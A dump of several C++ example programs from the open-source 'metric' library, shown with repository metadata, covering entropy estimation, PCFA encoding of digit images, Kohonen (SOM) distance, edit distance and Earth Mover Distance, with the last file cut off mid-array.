ds_size) { imgs_by_digit[labels[i]].push_back(images[i]); //lbls[labels[i]].push_back(labels[i]); // for debug if (imgs_by_digit[labels[i]].size() == ds_size) { filled++; } } if (filled >= 10) break; } std::vector<std::vector<double>> imgs_mixed; size_t digit = 0; //std::vector<int> lbls_mixed; // for debug for (size_t i = 0; i<ds_size; ++i) { imgs_mixed.push_back(imgs_by_digit[digit][i/10U]); //lbls_mixed.push_back(i/10U); // for debug ++digit; if (digit >= 10) digit = 0; } int width = shape[2] - 2*margin; // cropped std::cout << "\n sizes of datasets:\n"; for (size_t i = 0; i<10; ++i) { std::cout << i << ": " << imgs_by_digit[i].size() << "\n"; } std::cout << "mixed: " << imgs_mixed.size() << "\n"; // for (size_t i = 0; i<32; ++i) { // output first 32 digits // std::cout << "\n"; // print_img(imgs_mixed[i], width, width); // } // for (size_t i = 0; i<100; ++i) { // output first 32 digits // std::cout << "\n"; // print_img(imgs_by_digit[2][i], width, width); // } auto pcfa = metric::PCFA<std::vector<double>, void>(imgs_mixed, 20); //std::cout << "\neigenmodes:" << pcfa.eigenmodes_mat() << "\n"; auto imgs_mixed_encoded = pcfa.encode(imgs_mixed); std::vector<std::vector<std::vector<double>>> imgs_by_digit_encoded; for (size_t i = 0; i<10; ++i) { imgs_by_digit_encoded.push_back(pcfa.encode(imgs_by_digit[i])); } // auto imgs_mixed_decoded = pcfa.decode(imgs_mixed_encoded); // std::cout << "\nDecoded images: \n"; // for (size_t i = 0; i<32; ++i) { // output first 32 digits // std::cout << "\n"; // print_img(imgs_mixed_decoded[i], width, width); // } //auto estimator = metric::Entropy<void, metric::Euclidean<double>>(); auto estimator = metric::EntropySimple<void, metric::Euclidean<double>>(metric::Euclidean<double>(), 7); // auto estimator = metric::EntropySimple<void, metric::Chebyshev<double>>(metric::Chebyshev<double>(), 7); // auto estimator = metric::Entropy<std::vector<double>>(); // auto estimator = metric::EntropySimple<std::vector<double>>(); //std::cout << "overall entropy: " << estimator.estimate(images, 100, 0.1, 10) << std::endl; //std::cout << "overall entropy: " << estimator(images) << std::endl; // for (size_t i = 0; i<10; ++i) { // std::cout << "entropy for digit " << i << ": " << estimator(imgs_by_digit_encoded[i]) << std::endl; // } // std::cout << "entropy for all digits: " << estimator(imgs_mixed_encoded) << std::endl; // for (size_t i = 0; i<10; ++i) { // std::cout << "entropy for digit " << i << ": " << estimator(imgs_by_digit[i]) << std::endl; // } // std::cout << "entropy for all digits: " << estimator(imgs_mixed) << std::endl; //auto vm = metric::VMixing<void, metric::Euclidean<double>>(metric::Euclidean<double>(), 7, 70); auto vms = metric::VMixing_simple<void, metric::Euclidean<double>>(metric::Euclidean<double>(), 7); //std::cout << "digit1 digit2 entropy1 entropy2 | entropy_mixed entropy_mixed_half entropy_mixed_u entropy_mixed_half_u entropy_joint | diff_mixed diff_mixed_half diff_mixed_u diff_mixed_half_u VOI\n"; //std::cout << "digit1 digit2 entropy1 entropy2 | entropy_mixed entropy_joint | diff_mixed VOI\n"; //std::cout << "digit1 digit2 entropy1 entropy2 | entropy_mixed entropy_mixed_half entropy_joint | diff_mixed diff_mixed_half VOI\n"; //std::cout << "digit1 digit2 entropy1 entropy2 | entropy_mixed | diff_mixed \n"; std::cout << "digit1 digit2 entropy1 entropy2 | entropy_mixed | diff_mixed | diff_mixed \n"; for (size_t i = 0; i<10; ++i) { // TODO set i = 0 for (size_t j = i; j<10; ++j) { std::vector<std::vector<double>> concat_ds; concat_ds.reserve(imgs_by_digit_encoded[i].size() + imgs_by_digit_encoded[j].size()); concat_ds.insert(concat_ds.end(), imgs_by_digit_encoded[i].begin(), imgs_by_digit_encoded[i].end()); concat_ds.insert(concat_ds.end(), imgs_by_digit_encoded[j].begin(), imgs_by_digit_encoded[j].end()); std::vector<std::vector<double>> joint_ds = combine(imgs_by_digit_encoded[i], imgs_by_digit_encoded[j]); auto H_i = estimator(imgs_by_digit_encoded[i]); auto H_j = estimator(imgs_by_digit_encoded[j]); auto H_concat = estimator(concat_ds); // auto H_joint = estimator(joint_ds); // std::vector<std::vector<double>> concat_ds_half; // concat_ds_half.reserve(imgs_by_digit_encoded[i].size()); // concat_ds_half.insert(concat_ds_half.end(), imgs_by_digit_encoded[i].begin(), imgs_by_digit_encoded[i].begin() + imgs_by_digit_encoded[i].size()/2); // concat_ds_half.insert(concat_ds_half.end(), imgs_by_digit_encoded[j].begin(), imgs_by_digit_encoded[j].begin() + imgs_by_digit_encoded[j].size()/2); // auto H_concat_half = estimator(concat_ds_half); std::cout << // "VMixed for digits " << i << ", " << j << ": " << i << " " << j << " " << H_i << " " << H_j << " | " << H_concat << " " << // H_concat_half << " " << // H_joint << " | " << H_concat*2 - H_i - H_j << " " << // H_concat_half*2 - H_i - H_j << " " << // H_joint*2 - H_i - H_j << " " << " | " << //metric::VOI_simple(imgs_by_digit_encoded[i], imgs_by_digit_encoded[j], 7) << //metric::VOI_simple<std::vector<std::vector<double>>, metric::Euclidean<double>>(imgs_by_digit_encoded[i], imgs_by_digit_encoded[j], 7) << vms(imgs_by_digit_encoded[i], imgs_by_digit_encoded[j]) << //vm(imgs_by_digit_encoded[i], imgs_by_digit_encoded[j]) << std::endl; } std::vector<std::vector<double>> concat_ds; concat_ds.reserve(imgs_by_digit_encoded[i].size() + imgs_mixed_encoded.size()); concat_ds.insert(concat_ds.end(), imgs_by_digit_encoded[i].begin(), imgs_by_digit_encoded[i].end()); concat_ds.insert(concat_ds.end(), imgs_mixed_encoded.begin(), imgs_mixed_encoded.end()); std::vector<std::vector<double>> joint_ds = combine(imgs_by_digit_encoded[i], imgs_mixed_encoded); auto H_i = estimator(imgs_by_digit_encoded[i]); auto H_j = estimator(imgs_mixed_encoded); auto H_concat = estimator(concat_ds); // auto H_joint = estimator(joint_ds); // std::vector<std::vector<double>> concat_ds_half; // concat_ds_half.reserve(imgs_by_digit_encoded[i].size()); // concat_ds_half.insert(concat_ds_half.end(), imgs_by_digit_encoded[i].begin(), imgs_by_digit_encoded[i].begin() + imgs_by_digit_encoded[i].size()/2); // concat_ds_half.insert(concat_ds_half.end(), imgs_mixed_encoded.begin(), imgs_mixed_encoded.begin() + imgs_mixed_encoded.size()/2); // auto H_concat_half = estimator(concat_ds_half); std::cout << i << " * " << H_i << " " << H_j << " | " << H_concat << " " << // H_concat_half << " " << // H_joint << " | " << H_concat*2 - H_i - H_j << " " << // H_concat_half*2 - H_i - H_j << " " << // H_joint*2 - H_i - H_j << " " << " | " << // "VMixing for digits " << i << ", all: " << //metric::VOI_simple(imgs_by_digit_encoded[i], imgs_mixed_encoded, 7) << //metric::VOI_simple<std::vector<std::vector<double>>, metric::Euclidean<double>>(imgs_by_digit_encoded[i], imgs_mixed_encoded, 7) << vms(imgs_by_digit_encoded[i], imgs_mixed_encoded) << //vm(imgs_by_digit_encoded[i], imgs_mixed_encoded) << std::endl; } std::vector<std::vector<double>> concat_ds; concat_ds.reserve(imgs_mixed_encoded.size() + imgs_mixed_encoded.size()); concat_ds.insert(concat_ds.end(), imgs_mixed_encoded.begin(), imgs_mixed_encoded.end()); concat_ds.insert(concat_ds.end(), imgs_mixed_encoded.begin(), imgs_mixed_encoded.end()); std::vector<std::vector<double>> joint_ds = combine(imgs_mixed_encoded, imgs_mixed_encoded); auto H_i = estimator(imgs_mixed_encoded); auto H_j = estimator(imgs_mixed_encoded); auto H_concat = estimator(concat_ds); // auto H_joint = estimator(joint_ds); // std::vector<std::vector<double>> concat_ds_half; // concat_ds_half.reserve(imgs_mixed_encoded.size()); // concat_ds_half.insert(concat_ds_half.end(), imgs_mixed_encoded.begin(), imgs_mixed_encoded.begin() + imgs_mixed_encoded.size()/2); // concat_ds_half.insert(concat_ds_half.end(), imgs_mixed_encoded.begin(), imgs_mixed_encoded.begin() + imgs_mixed_encoded.size()/2); // auto H_concat_half = estimator(concat_ds_half); std::cout << "* * " << H_i << " " << H_j << " | " << H_concat << " " << // H_concat_half << " " << // H_joint << " | " << H_concat*2 - H_i - H_j << " " << // H_concat_half*2 - H_i - H_j << " " << // H_joint*2 - H_i - H_j << " " << " | " << // "VMixed for digits " << i << ", all: " << //metric::VOI_simple(imgs_by_digit_encoded[i], imgs_mixed_encoded, 7) << //metric::VOI_simple<std::vector<std::vector<double>>, metric::Euclidean<double>>(imgs_mixed_encoded, imgs_mixed_encoded, 7) << vms(imgs_mixed_encoded, imgs_mixed_encoded) << //vm(imgs_by_digit_encoded[i], imgs_mixed_encoded) << std::endl; return 0; }
12,627
C++
.cpp
239
44.832636
205
0.52805
metric-space-ai/metric
34
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MPL-2.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
false
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false
false
false
1,531,407
entropy_from_csv_example.cpp
metric-space-ai_metric/examples/distance_examples/entropy_from_csv_example.cpp
#include "metric/correlation/entropy.hpp" //#include <iostream> //#include <fstream> //#include <vector> //#include <string> //#include <sstream> template <typename T> T convert_to(const std::string & str) { // copied from helpers.cpp std::istringstream s(str); T num; s >> num; return num; } // templated version of stof, stod, etc., thanks to https://gist.github.com/mark-d-holmberg/862733 template <class ValueType> std::vector<std::vector<ValueType>> read_csv_num(std::string filename, std::string sep=";") { // copied from helpers.cpp typedef typename std::vector<ValueType> LINE; std::string line; int pos; std::vector<std::vector<ValueType>> array = {}; std::ifstream in(filename); if(!in.is_open()) { std::cout << "Failed to open file" << std::endl; return array; } while( getline(in,line) ) { LINE ln; while( (pos = line.find(sep)) >= 0) { std::string field = line.substr(0, pos); line = line.substr(pos+1); ln.push_back(convert_to<ValueType>(field)); } ln.push_back(convert_to<ValueType>(line)); array.push_back(ln); } return array; } int main() { //auto x_cyr = read_csv_num<double>("assets/x_cyr.csv", ","); //auto x_sin = read_csv_num<double>("assets/x_sin.csv", ","); auto x_cyr = read_csv_num<double>("assets/x_uni_3d.csv", ","); auto x_sin = read_csv_num<double>("assets/x_saw_3d.csv", ","); //std::cout << "\nx_cyr of size " << x_cyr.size() << ":\n"; std::cout << "\nx_uni of size " << x_cyr.size() << ":\n"; for (size_t i = 0; i<10; ++i) { for (size_t j = 0; j<x_cyr[0].size(); ++j) { std::cout << x_cyr[i][j] << " "; } std::cout << "\n"; } std::cout << "...\n"; //std::cout << "\nx_sin of size " << x_sin.size() << ":\n"; std::cout << "\nx_saw of size " << x_sin.size() << ":\n"; for (size_t i = 0; i<10; ++i) { for (size_t j = 0; j<x_sin[0].size(); ++j) { std::cout << x_sin[i][j] << " "; } std::cout << "\n"; } std::cout << "...\n\n"; //auto estimator = metric::Entropy<std::vector<double>>(); auto estimator = metric::Entropy<void, metric::Euclidean<double>>(); // std::cout << "entropy(x_cyr): " << estimator(x_cyr) << std::endl; // std::cout << "entropy(x_sin): " << estimator(x_sin) << std::endl; std::cout << "entropy(x_uni): " << estimator(x_cyr) << std::endl; std::cout << "entropy(x_saw): " << estimator(x_sin) << std::endl; return 0; }
2,580
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.cpp
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metric-space-ai/metric
34
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MPL-2.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
false
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1,531,408
kohonen_distance_example_2.cpp
metric-space-ai_metric/examples/distance_examples/kohonen_distance_example_2.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include <vector> #include <iostream> #include <fstream> #include <stdlib.h> #include <chrono> #include "metric/distance.hpp" #include "metric/mapping/Redif.hpp" bool is_inside_rect(std::vector<double> &rect, std::vector<double> &point) { if (point[0] >= rect[0] && point[0] <= rect[0] + rect[2]) { if (point[1] >= rect[1] && point[1] <= rect[1] + rect[3]) { return true; } } return false; } template <typename Record> void saveToCsv(std::string filename, const std::vector<Record> &mat, const std::vector<std::string> &features) { std::ofstream outputFile; // create and open the .csv file outputFile.open(filename); // write the file headers for (auto i = 0; i < features.size(); ++i) { outputFile << features[i]; outputFile << ","; } outputFile << std::endl; // last item in the mat is date for (auto i = 0; i < mat.size(); ++i) { //outputFile << dates[i] << ";"; for (auto j = 0; j < mat[i].size(); j++) { outputFile << mat[i][j] << ","; } outputFile << std::endl; } // close the output file outputFile.close(); } template <typename T> void matrix_print(const std::vector<std::vector<T>> &mat) { std::cout << "["; std::cout << std::endl; for (int i = 0; i < mat.size(); i++) { std::cout << " [ "; if (mat[i].size() > 0) { for (int j = 0; j < mat[i].size() - 1; j++) { std::cout << mat[i][j] << ", "; } std::cout << mat[i][mat[i].size() - 1]; } std::cout << " ]" << std::endl; } std::cout << std::endl; std::cout << "]" << std::endl; } template <typename T> void vector_print(const std::vector<T> &vec) { std::cout << "[ "; for (int i = 0; i < vec.size() - 1; i++) { std::cout << vec[i] << ", "; } std::cout << vec[vec.size() - 1] << " ]" << std::endl; } int main() { /******************** examples for Kohonen Distance **************************/ std::cout << "Kohonen Distance example have started" << std::endl; std::cout << "" << std::endl; metric::Euclidean<double> euclidean_distance; using Record = std::vector<double>; std::vector<Record> data; int num_points = 1000; for (size_t i = 0; i < num_points; i++) { data.push_back({ double (std::rand() % 100), double (std::rand() % 100) }); } std::vector<double> rect_1 = { 30, 20, 70, 20 }; std::vector<double> rect_2 = { 0, 60, 70, 20 }; std::vector<double> zero_point = { 0, 100 }; std::vector<double> opposite_zero_point = { 100, 0 }; std::vector<double> min_point = opposite_zero_point; std::vector<double> max_point = zero_point; std::vector<Record> filtered_data; for (size_t i = 0; i < num_points; i++) { if (!is_inside_rect(rect_1, data[i]) && !is_inside_rect(rect_2, data[i])) { filtered_data.push_back(data[i]); if (euclidean_distance(zero_point, data[i]) < euclidean_distance(zero_point, min_point)) { min_point = data[i]; } if (euclidean_distance(opposite_zero_point, data[i]) < euclidean_distance(opposite_zero_point, max_point)) { max_point = data[i]; } } } saveToCsv("data.csv", filtered_data, {"X", "Y"}); // using Metric = metric::Euclidean<double>; using Graph = metric::Grid8; using Distribution = std::uniform_real_distribution<double>; int grid_w = 40; int grid_h = 3; //double start_learn_rate = 1.0; //double finish_learn_rate = 0.3; //size_t iterations = 300; //double neighborhood_start_size = 100; //double neighborhood_range_decay = 100; double start_learn_rate = 1.0; double finish_learn_rate = 0.0; size_t iterations = 1000; double neighborhood_start_size = 40; double neighborhood_range_decay = 40; //long long random_seed = std::chrono::system_clock::now().time_since_epoch().count(); long long random_seed = 15918678724411133; std::cout << "random_seed: " << random_seed << std::endl; Distribution distr(0, 100); metric::SOM<Record, Graph, Metric> som_model(Graph(grid_w, grid_h), Metric(), start_learn_rate, finish_learn_rate, iterations, distr, neighborhood_start_size, neighborhood_range_decay, random_seed); som_model.train(filtered_data); // basic Kohonen distance metric::Kohonen<double, Record, Graph, Metric> distance_1(som_model, filtered_data); auto result = distance_1(min_point, max_point); std::cout << "result: " << result << std::endl; result = distance_1.distortion_estimate(filtered_data); std::cout << "distortion estimate: " << result << std::endl; std::cout << "" << std::endl; // std::vector<Record> som_nodes = distance_1.som_model.get_weights(); saveToCsv("basic_som.csv", som_nodes, {"X", "Y"}); // auto bmu_1 = distance_1.som_model.BMU(min_point); auto bmu_2 = distance_1.som_model.BMU(max_point); auto path = distance_1.get_shortest_path(bmu_1, bmu_2); std::vector<std::vector<int>> matrix_path; for (size_t i = 0; i < path.size(); i++) { matrix_path.push_back({path[i]}); } saveToCsv("basic_path.csv", matrix_path, {"node"}); // std::vector<std::vector<int>> edges; auto matrix = distance_1.som_model.get_graph().get_matrix(); for (int i = 0; i < matrix.rows(); ++i) { for (int j = i + 1; j < matrix.columns(); ++j) { if (matrix(i, j) > 0) { edges.push_back({i, j}); } } } saveToCsv("basic_som_edges.csv", edges, {"start", "end"}); // sparced Kohonen distance metric::Kohonen<double, Record, Graph, Metric> distance_2(som_model, filtered_data, true, 0.75); result = distance_2(min_point, max_point); std::cout << "result: " << result << std::endl; result = distance_2.distortion_estimate(filtered_data); std::cout << "distortion estimate: " << result << std::endl; std::cout << "" << std::endl; // som_nodes = distance_2.som_model.get_weights(); saveToCsv("sparced_som.csv", som_nodes, {"X", "Y"}); // bmu_1 = distance_2.som_model.BMU(min_point); bmu_2 = distance_2.som_model.BMU(max_point); path = distance_2.get_shortest_path(bmu_1, bmu_2); matrix_path.clear(); for (size_t i = 0; i < path.size(); i++) { matrix_path.push_back({path[i]}); } saveToCsv("sparced_path.csv", matrix_path, {"node"}); // edges.clear(); matrix = distance_2.som_model.get_graph().get_matrix(); for (int i = 0; i < matrix.rows(); ++i) { for (int j = i + 1; j < matrix.columns(); ++j) { if (matrix(i, j) > 0) { edges.push_back({i, j}); } } } saveToCsv("sparced_som_edges.csv", edges, {"start", "end"}); // Reverse Diffused Kohonen distance metric::Kohonen<double, Record, Graph, Metric> distance_3(som_model, filtered_data, false, 0.0, true, 6); result = distance_3(min_point, max_point); std::cout << "result: " << result << std::endl; result = distance_3.distortion_estimate(filtered_data); std::cout << "distortion estimate: " << result << std::endl; std::cout << "" << std::endl; // som_nodes = distance_3.som_model.get_weights(); saveToCsv("rev_diff_som.csv", som_nodes, {"X", "Y"}); // bmu_1 = distance_3.som_model.BMU(min_point); bmu_2 = distance_3.som_model.BMU(max_point); path = distance_3.get_shortest_path(bmu_1, bmu_2); matrix_path.clear(); for (size_t i = 0; i < path.size(); i++) { matrix_path.push_back({path[i]}); } saveToCsv("rev_diff_path.csv", matrix_path, {"node"}); // edges.clear(); matrix = distance_3.som_model.get_graph().get_matrix(); for (int i = 0; i < matrix.rows(); ++i) { for (int j = i + 1; j < matrix.columns(); ++j) { if (matrix(i, j) > 0) { edges.push_back({i, j}); } } } saveToCsv("rev_diff_som_edges.csv", edges, {"start", "end"}); // Reverse Diffused ad Sparced Kohonen distance metric::Kohonen<double, Record, Graph, Metric> distance_4(som_model, filtered_data, true, 0.75, true, 6); result = distance_4(min_point, max_point); std::cout << "result: " << result << std::endl; result = distance_4.distortion_estimate(filtered_data); std::cout << "distortion estimate: " << result << std::endl; std::cout << "" << std::endl; // som_nodes = distance_4.som_model.get_weights(); saveToCsv("rev_diff_and_sparced_som.csv", som_nodes, {"X", "Y"}); // bmu_1 = distance_4.som_model.BMU(min_point); bmu_2 = distance_4.som_model.BMU(max_point); path = distance_4.get_shortest_path(bmu_1, bmu_2); matrix_path.clear(); for (size_t i = 0; i < path.size(); i++) { matrix_path.push_back({path[i]}); } saveToCsv("rev_diff_and_sparced_path.csv", matrix_path, {"node"}); // edges.clear(); matrix = distance_4.som_model.get_graph().get_matrix(); for (int i = 0; i < matrix.rows(); ++i) { for (int j = i + 1; j < matrix.columns(); ++j) { if (matrix(i, j) > 0) { edges.push_back({i, j}); } } } saveToCsv("rev_diff_and_sparced_som_edges.csv", edges, {"start", "end"}); ///////// return 0; }
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.cpp
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
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1,531,409
edit_distance_example.cpp
metric-space-ai_metric/examples/distance_examples/edit_distance_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include <vector> #include <iostream> #include <chrono> #include "metric/distance.hpp" int main() { /******************** examples for Edit distance (for strings) **************************/ // example for string std::cout << "Edit distance example have started" << std::endl; std::cout << "" << std::endl; std::string str1 = "1011001100110011001111111"; std::string str2 = "1000011001100110011011100"; std::string str3 = "Absolutly different string"; metric::Edit<std::string> distance; auto t1 = std::chrono::steady_clock::now(); auto result1 = distance(str1, str2); auto t2 = std::chrono::steady_clock::now(); std::cout << "result for close strings: " << result1 << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000 << " ms)" << std::endl; std::cout << "" << std::endl; auto result2 = distance(str1, str3); auto t3 = std::chrono::steady_clock::now(); std::cout << "result for different strings: " << result2 << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t3 - t2).count()) / 1000 << " ms)" << std::endl; std::cout << "" << std::endl; return 0; }
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metric-space-ai/metric
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
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1,531,410
entropy_kpn_example.cpp
metric-space-ai_metric/examples/distance_examples/entropy_kpn_example.cpp
#include <vector> #include <iostream> #include <tuple> //#include "metric/correlation/epmgp.cpp" #include "metric/correlation/entropy.hpp" #include <limits> int main() { /* blaze::DynamicVector<double> x = {1, 2, 3}; std::cout << "\nmvnpdf at point: " << metric::mvnpdf(x) << "\n\n"; // */ //* for (double a = -30; a < 530; a += 1) { //std::cout << a << " " << std::log(0.5) + std::log(epmgp::erfcx(a)) - a*a << "\n"; std::cout << a << " " << epmgp::erfcx(a) << " " << epmgp::erfcx_simple(a) << "\n"; } // */ /* //for (int x = 5; x>-30; x -= 1) { for (double a = -50; a<50; a += 1) { // auto logZhat1 = std::log(1 - std::exp( std::log(0.5) + std::log(epmgp::erfcx_simple(-a)) - a*a )); // auto logZhat2 = std::log(0.5) + std::log(epmgp::erfcx_simple(a)) - a*a; // auto logZhat1d = std::log(1 - std::exp( std::log(0.5) + std::log(epmgp::erfcx_double(-a)) - a*a )); // auto logZhat2d = std::log(0.5) + std::log(epmgp::erfcx_double(a)) - a*a; // auto errMinus = epmgp::erfcx(-a); // auto errPlus = epmgp::erfcx(a); // auto logErrPlus = std::log(errPlus); // auto logErrMinus = std::log(errMinus); // auto expArg = std::log(0.5) + std::log(epmgp::erfcx(-a)) - a*a; // auto expResult = std::exp( std::log(0.5) + std::log(epmgp::erfcx(-a)) - a*a ); //std::cout << "x: " << x << ", erfcx(x): " << epmgp::erfcx(x) << "\n"; double logZhat; if (a < -26) { auto logZhatOtherTail = std::log(0.5) + std::log(epmgp::erfcx(-a)) - a*a; logZhat = std::log(1 - std::exp(logZhatOtherTail)); ////std::cout << "log(erfcx(-a)) " << a << " " << std::log(erfcx(-a)) << "\n"; // TODO remove //logZhat = 0; // lim[-Inf](logZhat) = 0 } else { //double long_a = a; //logZhat = std::log(0.5) + std::log(epmgp::erfcx_double(long_a)) - long_a*long_a; logZhat = std::log(0.5) + std::log(epmgp::erfcx(a)) - a*a; } // double b = a; // if (b > 26) { // auto logZhatOtherTail = std::log(0.5) + std::log(epmgp::erfcx(b)) - b*b; // logZhat = std::log(1 - std::exp(logZhatOtherTail)); // } // else // logZhat = std::log(0.5) + std::log(epmgp::erfcx(-b)) - b*b; std::cout << "x: " << a << ", logZhat: " << logZhat << // ", logZhat1: " << logZhat1 << // ", logZhat2: " << logZhat2 << // ", logZhat1d: " << logZhat1d << // ", logZhat2d: " << logZhat2d << // ", errMinus: " << errMinus << // ", errPlus: " << errPlus << // ", logErrMinus: " << logErrMinus << // ", logErrPlus: " << logErrPlus << // ", expArg: " << expArg << // ", expResult: " << expResult << // ", logArg: " << 1 - std::exp( std::log(0.5) + std::log(epmgp::erfcx(-a)) - a*a ) << // ", std::erfc(a): " << std::erfc(a) << // ", std::exp(a*a): " << std::exp(a*a) << "\n"; } // */ //* //std::vector<double> lower = {-0.5, -0.5}; //std::vector<double> upper = {0.5, 0.5}; //std::vector<double> mu = {0, 0}; //std::vector<double> sigma = {1, 1}; double inf = std::numeric_limits<double>::infinity(); // std::vector<double> lower = {-0.5, -0.5, 0.5}; // std::vector<double> upper = {0.5, 0.5, inf}; // std::vector<double> mu = {0, 0, 0}; // std::vector<double> sigma = {1, 0, 1}; // std::vector<double> lower = {-inf}; // std::vector<double> upper = {0.5}; // std::vector<double> mu = {-100}; // std::vector<double> sigma = {1}; std::vector<double> lower = {-50}; std::vector<double> upper = {60}; std::vector<double> mu = {0}; std::vector<double> sigma = {1}; auto result = epmgp::truncNormMoments(lower, upper, mu, sigma); auto logZ = std::get<0>(result); auto muOUT = std::get<1>(result); auto sigmaOUT = std::get<2>(result); std::cout << "\n\nlogZ mu sigma\n"; for (size_t i = 0; i<logZ.size(); ++i) { std::cout << logZ[i] << " " << muOUT[i] << " " << sigmaOUT[i] << "\n"; } // */ //* // blaze::DynamicVector<double> m = {0, 0}; // blaze::DynamicMatrix<double> K = {{1, 0}, {0, 1}}; // blaze::DynamicVector<double> lowerB = {-0.5, -0.5}; // blaze::DynamicVector<double> upperB = {0.5, 0.5}; // blaze::DynamicVector<double> m = {5, -5}; // blaze::DynamicMatrix<double> K = {{1, 0.3}, {0.3, 1}}; // blaze::DynamicVector<double> lowerB = {0.5, 1.5}; // blaze::DynamicVector<double> upperB = {1.5, 2.5}; blaze::DynamicVector<double> m = {-250, -250}; blaze::DynamicMatrix<double> K = {{1, 0}, {0, 1}}; blaze::DynamicVector<double> lowerB = {200, 200}; blaze::DynamicVector<double> upperB = {30000, 30000}; // blaze::DynamicVector<double> m = {5, -5, -3}; // blaze::DynamicMatrix<double> K = {{1, 0.3, 0.7}, {0.3, 1, 0.5}, {0.7, 0.5, 1}}; // blaze::DynamicVector<double> lowerB = {0.5, 1.5, 0}; // blaze::DynamicVector<double> upperB = {1.5, 2.5, 3}; auto result2 = epmgp::local_gaussian_axis_aligned_hyperrectangles(m, K, lowerB, upperB); auto logZ2 = std::get<0>(result2); auto muOUT2 = std::get<1>(result2); auto sigmaOUT2 = std::get<2>(result2); std::cout << "\nlogZ2 = " << logZ2 << "\n"; std::cout << "muOUT2 = \n" << muOUT2 << "\n"; std::cout << "sigmaOUT2 = \n" << sigmaOUT2 << "\n"; // */ // testing entropy_kpN //* std::cout << "\n\ntesting entropy_kpN\n\n"; std::vector<std::vector<double>> v = { {5,5}, {2,2}, {3,3}, {5,1} }; { //auto e_f = metric::Entropy<void, metric::Chebyshev<double>>(); auto ekpn = metric::Entropy<void, metric::Chebyshev<double>>(metric::Chebyshev<double>(), 2, 3); auto e = ekpn(v); std::cout << "using Chebyshev: " << e << std::endl; } // */ //* std::cout << "\n\nTesting entropy_kpN function on uniformly distributed r. v.s:\n"; //std::random_device rd; //std::mt19937 gen(rd()); std::mt19937 gen(1); std::uniform_real_distribution<double> dis(0.0, 1.0); std::vector<std::vector<double>> urv; //std::vector<std::vector<double>> urv2; //std::vector<std::vector<double>> urv3; ///std::vector<std::deque<double>> urv4; for (size_t i = 0; i<1000; ++i) { //urv.push_back({dis(gen), dis(gen), dis(gen), dis(gen), dis(gen), dis(gen), dis(gen)}); //urv.push_back({dis(gen), dis(gen), dis(gen)}); urv.push_back({dis(gen), dis(gen)}); //urv2.push_back({dis(gen), dis(gen)}); //urv4.push_back({dis(gen), dis(gen)}); //urv.push_back({dis(gen)}); } //for (size_t i = 0; i<250; ++i) { //urv3.push_back({dis(gen), dis(gen)}); //} auto ekpn_cheb3 = metric::Entropy<void, metric::Chebyshev<double>>(metric::Chebyshev<double>(), 3, 10); auto ekpn_cheb7 = metric::Entropy<void, metric::Chebyshev<double>>(metric::Chebyshev<double>(), 7, 10); auto ekpn_eucl = metric::Entropy<void, metric::Euclidean<double>>(metric::Euclidean<double>(), 3, 10); std::cout << "using Chebyshev: " << ekpn_cheb3(urv) << ", " << ekpn_cheb7(urv) << std::endl; //auto e = metric::Entropy_kpN<std::vector<double>, metric::Euclidean<double>>(urv, metric::Euclidean<double>(), 3, 10); auto e = ekpn_eucl(urv); std::cout << "using Euclidean: " << e << std::endl; // */ return 0; }
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.cpp
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metric-space-ai/metric
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
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false
false
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1,531,411
earth_mover_distance_example.cpp
metric-space-ai_metric/examples/distance_examples/earth_mover_distance_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include <vector> #include <iostream> #include <chrono> #include "metric/distance.hpp" #include "assets/test_data.cpp" int main() { /******************** examples for Earth Mover Distance **************************/ // example for picture std::cout << "EMD example have started" << std::endl; std::cout << "" << std::endl; typedef int emd_Type; size_t im1_R = img1.size() / 6; size_t im1_C = img1[0].size() / 6; // serialize_mat2vec std::vector<emd_Type> i1; std::vector<emd_Type> i2; for (size_t i = 0; i < im1_R; ++i) { for (size_t j = 0; j < im1_C; ++j) { i1.push_back(img1[i][j]); i2.push_back(img2[i][j]); } } auto ground_distance_mat = metric::EMD_details::ground_distance_matrix_of_2dgrid<emd_Type>(im1_C, im1_R); auto max_distance = metric::EMD_details::max_in_distance_matrix(ground_distance_mat); std::cout << "" << std::endl; metric::EMD<emd_Type> distance(ground_distance_mat, max_distance); // assumes that i1 and i2 are serialized vectors of the image matrices, and cost_mat contains a distance matrix that takes into account the original pixel locations. auto t1 = std::chrono::steady_clock::now(); auto result = distance(i1, i2); auto t2 = std::chrono::steady_clock::now(); std::cout << "result: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << " s)" << std::endl; std::cout << "" << std::endl; std::cout << "swap records and calculate again" << std::endl; std::cout << "" << std::endl; t1 = std::chrono::steady_clock::now(); result = distance(i2, i1); t2 = std::chrono::steady_clock::now(); std::cout << "result: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << " s)" << std::endl; std::cout << "" << std::endl; // ground_distance_mat = metric::EMD_details::ground_distance_matrix_of_2dgrid<emd_Type>(3, 3); max_distance = metric::EMD_details::max_in_distance_matrix(ground_distance_mat); distance = metric::EMD<emd_Type>(ground_distance_mat, max_distance); // vector std::vector<emd_Type> vector_1 = {0, 0, 0, 0, 0, 0, 0, 0, 0}; std::vector<emd_Type> vector_2 = {0, 0, 0, 0, 1, 0, 0, 0, 0}; t1 = std::chrono::steady_clock::now(); result = distance(vector_1, vector_2); t2 = std::chrono::steady_clock::now(); std::cout << "result: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << " s)" << std::endl; std::cout << "" << std::endl; //// array //emd_Type array_1[] = {0, 0, 0, 0, 0, 0, 0, 